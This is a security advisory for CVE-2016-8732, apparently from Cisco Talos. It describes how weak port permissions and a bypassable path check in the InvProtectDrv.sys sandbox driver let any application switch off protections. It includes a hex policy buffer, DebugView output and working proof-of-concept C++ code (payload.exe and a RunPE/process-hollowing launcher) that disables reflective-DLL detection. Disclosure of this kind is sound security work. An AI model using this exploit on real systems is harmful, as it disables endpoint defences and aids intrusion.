CVE-2016-8732
Multiple security flaws exists in InvProtectDrv.sys which is a part of Invincea Dell Protected Workspace 5.1.1-22303. Weak restrictions on the driver communication channel and additonal insufficient checks allow any application to turn off some of the protection mechanisms provided by the Invincea product.
Invincea Dell Protected Workspace build 5.1.1-22303
http://www.dellprotectedworkspace.com/
https://www.invincea.com
7.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
This vulnerability is present in the InvProtectDrv.sys driver which is a part of the Invincea Dell Protected Workspace. This product provides sandbox functionality for Windows environments. Due to weak permissions on the driver communication channel and ineffective additional checks, any malicious application can communicate with driver and turn off some of the security functionality provided by this product.
Let’s investigate these flaws. The InvProtectDrv.sys
driver creates a communication port via the FltCommunicationPort with weak security descriptions allowing any user to communicate with this port.
The vulnerable code looks as follows:
Line 1 v2 = FltBuildDefaultSecurityDescriptor(&acl, 0x1F0001);
Line 2 DbgPrint("InvProtectDrv: FltBuildDefaultSecurityDescriptor 0x%x\n", v2);
Line 3 if ( v2 >= 0 )
Line 4 {
Line 5 RtlSetDaclSecurityDescriptor(acl, 1u, 0, 0);
Line 6 RtlInitUnicodeString(&DestinationString, L"\\InvProtectDrvPort");
Line 7 v7 = &DestinationString;
Line 8 v5 = 24;
Line 9 v6 = 0;
Line 10 v8 = 576;
Line 11 v9 = acl;
Line 12 v10 = 0;
Line 13 v3 = FltCreateCommunicationPort(
Line 14 dword_95B930E0,
Line 15 &dword_95B930E4,
Line 16 &v5,
Line 17 0,
Line 18 sub_95B8C360,
Line 19 sub_95B8C3A0,
Line 20 MessageNotifyCallback,
Line 21 1);
The amount of applications to can connect with this port is limited to one but because the connection is occupied by a user mode application which is not protected, malicious application can kill the InvProtectAgent.exe
process and connect to the port.
The Routine responsible for handling messages sent to the driver is at line 20
MessageNotifyCallback
. One of the functionalities of this communication channel is to apply new policies to the sandbox.
Part of MessageNotifyCallback
looks as follows:
Line 1 int __stdcall MessageNotifyCallback(PVOID PortCookie, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnOutputBufferLength)
Line 2 {
Line 3 (...)
Line 4 if ( controlCode == 1 )
Line 5 {
Line 6 DbgPrint("InvProtectDrv: USER_STARTED %d\n", 1);
Line 7 pid = PsGetCurrentProcessId();
Line 8 if ( !checkApplicationLocation(pid) )
Line 9 {
Line 10 DbgPrint("InvProtectDrv: USER_STARTED access denied.\n");
Line 11 OutputBufferLength = 0xC0000022;
Line 12 *ReturnOutputBufferLength = (ULONG)OutputBuffer;
Line 13 return OutputBufferLength;
Line 14 }
Line 15 applyNewPolicy((struct_InputBuffer *)InputBuffer, InputBufferLength);
As we can see, before the new policy is applied, the location of the application which sent it is checked. There are a couple of absolute application paths defined and only applications from this paths are able to satifisy this constraint.
Let’s take a look at the checkApplicationLocation
function:
Line 1 char __stdcall checkApplicationLocation(HANDLE pid)
Line 2 {
Line 3 (...)
Line 4 senderAppPath = (UNICODE_STRING *)getPathFromPid((SIZE_T)pid, 0);
Line 5 if ( senderAppPath )
Line 6 {
Line 7 v3 = (unsigned __int16)(installationDir->Length + 60);
Line 8 v4 = ExAllocatePoolWithTag(0, v3, 0x4D766E49u);
Line 9 P = v4;
Line 10 if ( v4 )
Line 11 {
Line 12 allowedAppStr.Buffer = (PWSTR)v4;
Line 13 allowedAppStr.Length = 0;
Line 14 allowedAppStr.MaximumLength = v3;
Line 15 RtlCopyUnicodeString(&allowedAppStr, installationDir);
Line 16 index = 0;
Line 17 while ( 1 )
Line 18 {
Line 19 allowedApp = allowedApps[index];
Line 20 allowedAppStr.Length = installationDir->Length;
Line 21 v7 = RtlAppendUnicodeToString(&allowedAppStr, allowedApp);
Line 22 if ( !RtlCompareUnicodeString(senderAppPath, &allowedAppStr, 1u) )
Line 23 break;
Line 24 if ( v7 < 0 )
Line 25 DbgPrint("InvProtectDrv: %x in %s, ln %d\n", v7, "Driver\\InvProtectDrv.c", 2673);
Line 26 if ( ++index >= 4u )
Line 27 goto end_of_array;
Line 28 }
Line 29 allowed = 1;
Line 30
In the while loop at lines 17-28
, we see a comparison of the array allowedApps
’s elements with senderAppPath
. If the sender’s application path is equal to one of paths, the allowed
flag is set to one.
The content of allowedApps
is as follow:
.data:95B930A0 ; PCWSTR allowedApps[4]
.data:95B930A0 allowedApps dd offset aInvprotect_exe
.data:95B930A0 ; DATA XREF: checkApplicationLocation+9Cr
.data:95B930A0 ; "InvProtect.exe"
.data:95B930A4 dd offset aInvprotect64_e ; "InvProtect64.exe"
.data:95B930A8 dd offset aInvprotectsvc_ ; "InvProtectSvc.exe"
.data:95B930AC dd offset aInvprotectsvc6 ; "InvProtectSvc64.exe"
Because the standard installation directory of the executable files listed in this array is C:\Program Files\Invincea\Enterprise
, an unprivileged user can’t put a malicious executable in that location.
To bypass that check attacker can use the RunPE
technique on one of the executables listed in the allowedApps
array. That way, the executable path check will be satisfied.
After bypassing this check, the attacker needs to provided a properly formatted buffer to trigger specific actions. Examining the process reveals that the structure of the inputBuffer
contains a new policy
that looks as follows:
struct Policy
{
DWORD policySize;
DWORD policyType;
BYTE policyData[];
}
struct Package
{
DWORD command;
DWORD policiesAmount;
Policy[policiesAmount];
}
Inside the applyNewPolicy
function we find call to a routine which exposes what type of policy and functionality we can trigger.
Line 1 ULONG __stdcall sub_95B8C730(int a1)
Line 2 {
Line 3 ULONG result; // eax@3
Line 4
Line 5 if ( *(_DWORD *)(a1 + 4) == 1 )
Line 6 {
Line 7 if ( *(_DWORD *)(a1 + 8) )
Line 8 {
Line 9 sub_95B8FA50(1);
Line 10 result = DbgPrint("DetectReflectiveDll is on\n");
Line 11 }
Line 12 else
Line 13 {
Line 14 sub_95B8FA50(0);
Line 15 result = DbgPrint("DetectReflectiveDll is off\n");
Line 16 }
Line 17 }
Line 18 else if ( *(_DWORD *)(a1 + 4) == 2 )
Line 19 {
Line 20 if ( *(_DWORD *)(a1 + 8) )
Line 21 {
Line 22 sub_95B8FA60(1);
Line 23 result = DbgPrint("KillReflectiveDllProcess is on\n");
Line 24 }
Line 25 else
Line 26 {
Line 27 sub_95B8FA60(0);
Line 28 result = DbgPrint("KillReflectiveDllProcess is off\n");
We can see that sending a properly formatted inputBuffer
we can turn functionality on or off that is related to:
- reflective dll detection
- killing a process with a reflective dll
An example of an input buffer that contains a policy that will disable both the options above looks like this:
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 01 00 00 00 00 00 00 70 0C 00 00 00 01 00 00 00 .......p........
00000010 01 00 00 00 01 00 00 00 0C 00 00 00 01 00 00 00 ................
00000020 01 00 00 00 00 00 00 00 0C 00 00 00 01 00 00 00 ................
00000030 02 00 00 00 00 00 00 00 ........
After running the PoC code below with the inputBuffer
defined above, we see the following messages in DebugView:
`
[3388] SetOSData
[3388] SetOSData GetProcAddress
[3388] GetKnownFolder
[3388] GetSysLibHandle Fore
[3388] GetSysLibHandle existed
InvProtectDrv: Thread offset 0x2c
InvProtectDrv: Peb offset 0x1a8
InvProtectDrv: Params offset 0x10
InvProtectDrv: CmdLine offset 0x40
InvProtectDrv: FltRegisterFilter 0x0
InvProtectDrv: FltBuildDefaultSecurityDescriptor 0x0
InvProtectDrv: FltCreateCommunicationPort 0x0
InvProtectDrv: call Sandbox driver
InvProtectDrv: SboxSetNotifyRoutine 0x0
InvProtectDrv: PsSetCreateThreadNotifyRoutine 0x0
InvProtectDrv: FltStartFiltering 0x0
InvProtectDrv: CmRegisterCallback 0x0
InvProtectDrv: PsSetLoadImageNotifyRoutine 0x0
InvProtectDrv: Firewall driver is loaded.
InvProtectDrv: DriverEntry completed
InvProtectDrv: Port Connect
InvProtectDrv: SVC_STARTED 3
DetectReflectiveDll is on
KillReflectiveDllProcess is off
kServicePort: 86c4d088
InvProtectDrv: call Sandbox driver
InvProtectDrv: SboxSetNotifyRoutine 0x0
FsContext entry size: 0
InvProtectDrv: kUPDATE_CYNOMIX_POLICY 9
InvProtectDrv: Cynomix is disabled.
(...)
[+]Connection set. Ready for actions
inBuffer = 0x00af3451 size : 0x38
InvProtectDrv: USER_STARTED 1
DetectReflectiveDll is off
KillReflectiveDllProcess is off
InvProtectDrv: SboxSetNotifyRoutine
[+]Message Sent
`
--------------------------------------- payload.exe --------------------------------------------
#include "stdafx.h"
#include "Win32Project1.h"
#include <Windows.h>
#include <Fltuser.h>
#pragma comment(lib,"FltLib")
#include <fstream>
using namespace std;
#define _CRT_SECURE_NO_WARNINGS
void LogMessage(char* pszFormat, ...) {
static char s_acBuf[2048]; // this here is a caveat!
va_list args;
va_start(args, pszFormat);
vsprintf(s_acBuf, pszFormat, args);
OutputDebugStringA(s_acBuf);
va_end(args);
}
PBYTE readFile(LPWSTR fileName, PDWORD size)
{
PBYTE buffer;
ifstream file(fileName, ios::binary);
if (!file.is_open())
{
printf("Could no open file\n");
exit(0);
}
file.seekg(0, file.end);
*size = file.tellg();
file.seekg(0, file.beg);
buffer = new BYTE[*size];
file.read((char*)buffer, *size);
file.close();
return buffer;
}
void dumpFile(PBYTE buff,DWORD buffSize)
{
ofstream file("C:\\tmp\\outbuff.bin");
file.write((char*)buff,buffSize);
file.close();
}
void sendMessage()
{
HANDLE portHandle;
HRESULT result;
DWORD inBufferLen;
PBYTE inBuffer;
const DWORD outBufferLen = 0x1000;
BYTE outBuffer[0x1000] = { 0 };
DWORD returned;
LPCWSTR portName = L"\\InvProtectDrvPort";
result = FilterConnectCommunicationPort(portName, 0, 0, 0, 0, &portHandle);
if (IS_ERROR(result))
{
LogMessage("[-]Problem with connection : 0x%x\n", result);
return;
}
LogMessage("[+]Connection set. Ready for actions\n");
inBuffer = readFile(L"C:\\tmp\\package.bin", &inBufferLen);
LogMessage("inBuffer = 0x%x size : 0x%x\n", inBuffer, inBufferLen);
result = FilterSendMessage(portHandle, inBuffer, inBufferLen, outBuffer, outBufferLen, &returned);
if (IS_ERROR(result))
{
LogMessage("[-]FilterSend went wrong : 0x%x\n", result);
return;
}
LogMessage("[+]Outbuff dumped with size : 0x%x\n",returned);
dumpFile(outBuffer, returned);
LogMessage("[+]Message Sent\n");
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
sendMessage();
return 0;
}
--------------------------------------- payload.exe --------------------------------------------
------------------------------------------ runpe.exe ---------------------------------------------
int _tmain(int argc, _TCHAR* argv[])
LPWSTR src = L"C:\\Program Files\\Invincea\\Enterprise\\InvProtect.exe";
LPWSTR payload = L"Z:\\tmp\\payload.exe";
killProcess("InvProtect.exe");
runPE(src, readFile(payload));
return 0;
------------------------------------------ runpe.exe ---------------------------------------------
2016-12-01 - Vendor Disclosure
2017-06-30 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.